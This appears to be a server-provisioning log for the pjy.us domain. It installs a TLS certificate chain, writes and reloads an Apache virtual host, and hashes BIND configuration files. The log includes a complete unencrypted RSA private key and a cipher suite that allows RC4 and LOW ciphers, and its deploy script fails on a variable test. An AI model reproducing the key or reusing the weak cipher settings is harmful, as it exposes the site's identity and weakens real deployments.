EwNSMTIwHhcNMjYwMzA0MTc1OTM0WhcNMjYwNjAyMTc1OTMzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC47q+GXe0u
QFo77yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF
/4GPCnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9
FSK9lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1
dFdnQsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPB
KglslND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19s
lBiivi6aCmlXAgMBAAGjggIWMIICEjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUzr6b3wwvtuaxfoHP
BO8Fq9/Q1YIwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTUuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGcujbg/wAABAMARzBFAiEA01AfZUZUSLbS0USNNSMg2DUG
hh+xCVMdbR+FHRaPc9kCIF35EFAoMzn1gklTmN7I8bny4ajaradDCr8KzT2JFehl
AHYA0W6ppWgHfmY1oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcujbhwgAABAMA
RzBFAiEAs6bwqj2iT+9D3olF7ZGPEifyb9NzWyRTlO57zLXS+S8CIC6INl8BPqKg
/EOozL6bnOPVcAzh93lg8Q8V/6xu1SuNMA0GCSqGSIb3DQEBCwUAA4IBAQDF0o87
ip5M+p2RctyWnmVnSGvhBsYpB+QvpE8K66PJG9hjDhECfDJ0TF8kSBRUfDu8E/fC
ZKlDaSHYiJ3iYgpI6KA0qsNYKPz0k60YNqHK9cA/xElouWGfgpTk5Vi6idGZ6rAQ
R0ppD4f4gfj4/GRbu1JKen9uZVPhrp/7z0R9AAT6bTdujiIzmnhuq2Sjwaj38rfp
NE72+lQI/3MPVJ0Nc5zNotBoJlyupX4/rahHPvZo0ngdtlj0aMYvbbhY4YmJNq5L
lDh2MUH2jQwOdtLBDKTq7w0gv4zokuK3PVzzV+GHgOnQC7u7XwyqvXUz+jhfCH8O
T/QYVXMsJsQ8a9YE
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC47q+GXe0uQFo7
7yC19HDBIx0KCE+hO6yHUlxrDBKpdTiH9A/oOzUJK98Oxqsi3HHAWJ6mYNLF/4GP
CnSge9NvJbOBm/eiwhJy9RiVhTljQg2jyV+WzCsKpv8Su4hSJuy/Q9DzS6p9FSK9
lFDUhZ2+OZq353KpGpVDdU7D4QMRAegW+myxe1WPoW+qZ92z+a5kYKf8tge1dFdn
QsbFJfGvBDwr0SXQeAqkBtdWimIWS0JrNsnjS0M5GuP/3Goqarc8JIvgHWPBKgls
lND5WZ7UITPbfzH8xu/Ymj0PCOFptjEPeRQru/vr/qtNnCFJLDW56GEsD19slBii
vi6aCmlXAgMBAAECggEABFxRyeVPwRYbX+u/kGAh2IFaH0ZwOj5h+b7jbFLDOI5f
CuBND7jLA1sEI3ZjyqqlXq0Nm0wP1u4IwWAJvU8DfqIbnXlurr53bjvWnI/2TnTc
RXnAxe7X2k8dwfSnaOh/ZJ3WFiaOmpceU+y6CzOAs1+Vr7McF7NcxFPGdlqelo6z
+chmeC8Cys8CfTN5LhdlFFOr3Nkb9Awoxdb379izHep90L4H8jO7JZAy0SaLLWOj
fwYJ4Cr5wmPcqVM1TX3jV/cpO9HDCtOvsc/RAuG3o/PJ+VVdRnLwvi8QKXY7KQ9g
Dnru/YdqQIrBhuD9CCAXpSzpw96FxTru0GGMLNslwQKBgQDvsW3iuoR/2p3zLnw8
JRTb5Ij1TnAD0UajOeEb2tCIzKCIZ61dr+7RohP2XtI01ABrDHFWilbTDNNLsh5k
As0TTO6OHp+KnHkCPfJX6RZ7DTZfeUw29AA7ZGcY8wm6WOvSmuZSNKd9nLbiDAlf
udEMzgiZT4kXdXoOCeoZ693QaQKBgQDFg4bBFoaTlVmiqVFIgVMtxNqJu12EQHzd
JpO75ggNcsyqLKQ4S6k/a2rA7/vuwtHfiyKDU7vLZB1X1Li6t/wJ5RPG7PNS+Lnj
JsOUOf+TC3wSC0gx1+0ND7tBns2Sh93XoczTjxa9C/dDkuHYkWDw1CXBGvxmtWJD
CPnCVe8zvwKBgQCClh7w7H8tjPSKvaOvvOAdYOgBBYfffI/Ic8shutfr/9fiGOIJ
7cTl7zCDBGvvniTQLYo+BMaC2zTuw47tG92Qi1RYl3SCNvdycj9rB7FYvv0FjPcp
5UuPEAdfP2HoZXOtXPjoholN1SiKBNbCkWDEYierJvrgjf8+UMZ68tb5KQKBgAa8
XI0bMo236y2j7pS1bFvEOdu2mxLWjCuSlDk1OBMVVit7iEIvOl9iT2qzBHl5BWVF
PnESGvZtvJ5xL7eWbK79s/X1wLqUpuo7OTJF5BRksN+AqP6iKYBnh/BN9R7JKWSg
LPcOCy15Sf5w9OjI1HCCG6OBQxhRmT9GABaDjbvLAoGAYMA8t10T1v9Q0axumGwq
9Lu08z2P3wO1O0Jt20RVh6CwF571BnAEZz1gk80AGg0UXgTDyIo8YxO8aHYS73aP
Wbvclw8YOHbsJFqk4nanrgLDGRNMAQXYv5sIQtO2vtu6dlexPjoRxxZHutyvsTqn
uugk9G5lv9gmlDnHFEPX9y0=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-04 19:14:31: 

chmod 755 /tmp/pkp300429; /tmp/pkp300429; rm /tmp/pkp300429

2026-03-04 19:14:31: 


dir=/etc/ssl/certs


2026-03-04 19:14:31: 

PUT: /tmp/pkp200690

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-available/pjy_home_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb
    DocumentRoot	/var/www/pjy_home/public
    <Directory /var/www/pjy_home/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-available/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/pjy_home_us.conf= 1'
fi


2026-03-04 19:14:31: 

chmod 755 /tmp/pkp200690; /tmp/pkp200690; rm /tmp/pkp200690

2026-03-04 19:14:32: 


/tmp/pkp200690: line 60: [: !=: unary operator expected




STDERR:
/tmp/pkp200690: line 60: [: !=: unary operator expected


2026-03-04 19:14:32: 

PUT: /tmp/pkp972654

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-04 19:14:32: 

chmod 755 /tmp/pkp972654; /tmp/pkp972654; rm /tmp/pkp972654

2026-03-04 19:14:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-04 19:14:32: Establishing a connection
2026-03-04 19:14:33: 

PUT: /tmp/pkp619831

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-04 19:14:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp619831; rm /tmp/pkp619831'

2026-03-04 19:14:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
